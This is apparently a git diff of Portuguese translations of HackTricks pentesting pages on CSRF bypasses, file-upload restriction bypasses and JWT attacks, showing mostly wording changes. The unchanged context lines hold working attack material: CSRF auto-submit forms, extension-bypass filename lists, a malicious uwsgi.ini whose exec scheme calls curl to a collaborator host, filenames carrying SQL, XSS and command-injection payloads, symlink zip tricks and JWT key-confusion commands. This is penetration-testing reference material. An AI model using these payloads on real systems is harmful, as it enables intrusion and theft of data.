Aplicações podem implementar proteção CSRF duplicando o token em um cookie e um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
|
||||
Aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
|
||||
|
||||
No entanto, este método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguido pela iniciativa do ataque CSRF.
|
||||
|
||||
|
@ -124,12 +124,12 @@ Abaixo está um exemplo de como um ataque poderia ser estruturado:
|
|||
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Note que se o **token csrf estiver relacionado com o cookie de sessão este ataque não funcionará** porque você precisará definir a sessão da vítima, e portanto estará atacando a si mesmo.
|
||||
Note que se o **token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará** porque você precisará definir a sessão da vítima, e portanto estará atacando a si mesmo.
|
||||
{% endhint %}
|
||||
|
||||
### Alteração de Content-Type
|
||||
|
||||
De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST** estes são os valores de Content-Type permitidos:
|
||||
De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, estes são os valores de Content-Type permitidos:
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
|
@ -152,13 +152,13 @@ form.submit();
|
|||
```
|
||||
### Bypassando Solicitações de Preflight para Dados JSON
|
||||
|
||||
Ao tentar enviar dados JSON via uma solicitação POST, usar o `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma solicitação de preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
|
||||
Ao tentar enviar dados JSON via uma solicitação POST, usando o `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar este tipo de conteúdo inicia uma solicitação de preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
|
||||
|
||||
1. **Usar Tipos de Conteúdo Alternativos**: Utilize `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` no formulário. Esta abordagem testa se o backend utiliza os dados independentemente do Content-Type.
|
||||
2. **Modificar o Tipo de Conteúdo**: Para evitar uma solicitação de preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma solicitação de preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`.
|
||||
3. **Utilização de Arquivo Flash SWF**: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
3. **Utilização de Arquivo Flash SWF**: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada desta técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Bypass de Verificação de Referrer / Origin
|
||||
### Bypass de Verificação de Referrer / Origem
|
||||
|
||||
**Evitar o cabeçalho Referrer**
|
||||
|
||||
|
@ -264,7 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Enviar solicitação POST de formulário por meio de um iframe
|
||||
### Enviar solicitação POST do formulário por meio de um iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -342,7 +342,7 @@ body += "--" + boundary + "--";
|
|||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body);
|
||||
```
|
||||
### Pedido POST de formulário de dentro de um iframe
|
||||
### Solicitação POST de formulário de dentro de um iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
|
@ -475,7 +475,7 @@ height="600" width="800"></iframe>
|
|||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **Obter token CSRF com Ajax e enviar um post com um formulário**
|
||||
### **POSTRoubar token CSRF com Ajax e enviar um post com um formulário**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -591,7 +591,7 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
@ -605,8 +605,8 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para** os repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
|
@ -35,7 +35,7 @@ Outras extensões úteis:
|
|||
|
||||
### Bypass de Verificações de Extensões de Arquivo
|
||||
|
||||
1. Se aplicável, **verifique** as **extensões anteriores**. Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
1. Se aplicável, **verifique** as **extensões anteriores**. Teste também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
|
@ -49,7 +49,7 @@ Outras extensões úteis:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Tente contornar as proteções **enganando o analisador de extensões** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes nulos) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
|
||||
4. Tente contornar as proteções **enganando o analisador de extensões** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **nulos**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -63,17 +63,17 @@ Outras extensões úteis:
|
|||
* _file.php%00.png%00.jpg_
|
||||
6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com a extensão\*\* _**.php**_**, mas** não necessariamente terminando em .php\*\* executará código):
|
||||
* _ex: file.php.png_
|
||||
7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, "file.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar restrições adicionais (por exemplo, “file.asp::$data.”)
|
||||
7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, "file.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
|
||||
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux máximo de 255 bytes
|
||||
# Linux máximo 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
|
||||
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Digamos 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Faça o payload
|
||||
# Crie o payload
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
### Bypassar Content-Type, Número Mágico, Compressão e Redimensionamento
|
||||
|
@ -98,9 +98,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* **Possível divulgação de informações**:
|
||||
1. Enviar **várias vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome**
|
||||
2. Enviar um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||||
3. Enviar um arquivo com **“.”, “..” ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||
3. Enviar um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||
4. Enviar um arquivo que não pode ser facilmente excluído, como **“…:.jpg”** no **NTFS** (Windows).
|
||||
5. Enviar um arquivo no **Windows** com caracteres inválidos como `|<>*?”` em seu nome (Windows).
|
||||
5. Enviar um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome (Windows).
|
||||
6. Enviar um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||||
* Tente também **enviar um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima.
|
||||
|
||||
|
@ -109,9 +109,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
Se você está tentando enviar arquivos para um **servidor PHP**, [dê uma olhada no truque do **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Se você está tentando enviar arquivos para um **servidor ASP**, [dê uma olhada no truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP ou incluindo-o dentro de um script...).
|
||||
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP, ou incluindo-o dentro de um script...).
|
||||
|
||||
A extensão `.inc` é às vezes usada para arquivos PHP que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **essa extensão ser executada**.
|
||||
A extensão `.inc` é às vezes usada para arquivos PHP que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **esta extensão ser executada**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
|
@ -123,7 +123,7 @@ Se você puder enviar um arquivo XML para um servidor Jetty, você pode obter [R
|
|||
|
||||
Para uma exploração detalhada dessa vulnerabilidade, confira a pesquisa original: [Exploração de RCE do uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Vulnerabilidades de Execução Remota de Comandos (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", espaços reservados e operadores. Notavelmente, o operador '@', utilizado como `@(nome do arquivo)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Essa funcionalidade pode ser manipulada para fins maliciosos, como Execução Remota de Comandos ou Escrita/Leitura Arbitrária de Arquivos quando um arquivo de configuração `.ini` é processado.
|
||||
Vulnerabilidades de Execução Remota de Comandos (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", espaços reservados e operadores. Notavelmente, o operador '@', utilizado como `@(nome_do_arquivo)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Essa funcionalidade pode ser manipulada para fins maliciosos, como Execução Remota de Comandos ou Escrita/Leitura Arbitrária de Arquivos quando um arquivo de configuração `.ini` é processado.
|
||||
|
||||
Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
|
||||
```ini
|
||||
|
@ -143,13 +143,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
A execução da carga ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de Negação de Serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarga automática, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
|
||||
A execução da carga ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de Negação de Serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarregamento automático, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
|
||||
|
||||
É crucial entender a natureza flexível da análise de arquivos de configuração do uWSGI. Especificamente, a carga discutida pode ser inserida em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
|
||||
|
||||
## **Truque de Upload de Arquivo/SSRF do wget**
|
||||
|
||||
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser contornada**.\
|
||||
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** o **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser contornada.**\
|
||||
O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
|
@ -184,14 +184,14 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
|
|||
* Defina o **nome do arquivo** como `../../../tmp/lol.png` e tente alcançar uma **travessia de caminho**
|
||||
* Defina o **nome do arquivo** como `sleep(10)-- -.jpg` e você pode ser capaz de alcançar uma **injeção de SQL**
|
||||
* Defina o **nome do arquivo** como `<svg onload=alert(document.domain)>` para alcançar um XSS
|
||||
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando (mais [trapaças de injeção de comando aqui](../command-injection.md))
|
||||
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
|
||||
* [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* Upload de arquivo **JS** + **XSS** = [exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Experimente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Vulnerabilidade de **ImageTrick** famosa](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Se você puder **indicar ao servidor web para capturar uma imagem de uma URL** você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se esta **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
|
||||
* Se você puder **indicar ao servidor web para capturar uma imagem de uma URL** você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se essa **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
|
||||
* [**XXE e CORS** bypass com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDFs especialmente elaborados para XSS: A [página a seguir apresenta como **injetar dados de PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar alguns PDFs que executarão JS arbitrário seguindo as indicações fornecidas.
|
||||
* Faça o upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
|
||||
|
@ -227,7 +227,7 @@ Se você puder fazer upload de um ZIP que será descompactado dentro do servidor
|
|||
|
||||
#### Symlink
|
||||
|
||||
Faça upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
|
||||
Faça o upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
|
@ -264,7 +264,7 @@ zip.close()
|
|||
|
||||
create_zip()
|
||||
```
|
||||
**Abuso de compressão para pulverização de arquivos**
|
||||
**Abusando da compressão para pulverização de arquivos**
|
||||
|
||||
Para mais detalhes, **verifique a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
|
@ -300,7 +300,7 @@ pop graphic-context
|
|||
|
||||
Incorporar um shell PHP no chunk IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para determinados casos de uso.
|
||||
|
||||
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Codificando Web Shells em chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Codificando Shells Web em chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||
|
||||
Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -308,7 +308,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
|
|||
|
||||
Arquivos poliglotas atuam como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Tais arquivos não se limitam a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
|
||||
|
||||
A utilidade principal dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload, como JPEG, GIF ou DOC, para mitigar o risco representado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições de forma furtiva.
|
||||
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload, como JPEG, GIF ou DOC, para mitigar o risco representado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições de forma furtiva.
|
||||
|
||||
Apesar de sua adaptabilidade, os poliglotas encontram limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso em relação às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
|
||||
|
||||
|
@ -323,7 +323,7 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -35,7 +35,7 @@ Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web nã
|
|||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
Em seguida, você pode pesquisar a solicitação em seu proxy ou extrair o JWT usado para essa solicitação usando a ferramenta jwt\_:
|
||||
Em seguida, você pode pesquisar a solicitação em seu proxy ou fazer dump do JWT usado para essa solicitação usando a ferramenta jwt\_ :
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
|
@ -49,7 +49,7 @@ Para verificar se a assinatura de um JWT está sendo verificada:
|
|||
|
||||
* Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
|
||||
* Uma mudança na página retornada também indica verificação.
|
||||
* Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações do payload.
|
||||
* Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações de carga útil.
|
||||
|
||||
### Origem
|
||||
|
||||
|
@ -60,7 +60,7 @@ Para verificar se a assinatura de um JWT está sendo verificada:
|
|||
|
||||
### Duração
|
||||
|
||||
Verifique se o token dura mais de 24 horas... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
|
||||
Verifique se o token dura mais de 24 horas... talvez nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
|
||||
|
||||
### Força bruta no segredo HMAC
|
||||
|
||||
|
@ -79,7 +79,7 @@ O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave púb
|
|||
|
||||
Se você alterar o algoritmo de RS256 para HS256, o código do back-end usará a chave pública como a chave secreta e então usará o algoritmo HS256 para verificar a assinatura.
|
||||
|
||||
Então, usando a chave pública e alterando de RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando isso:
|
||||
Em seguida, usando a chave pública e alterando de RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor da web executando isso:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
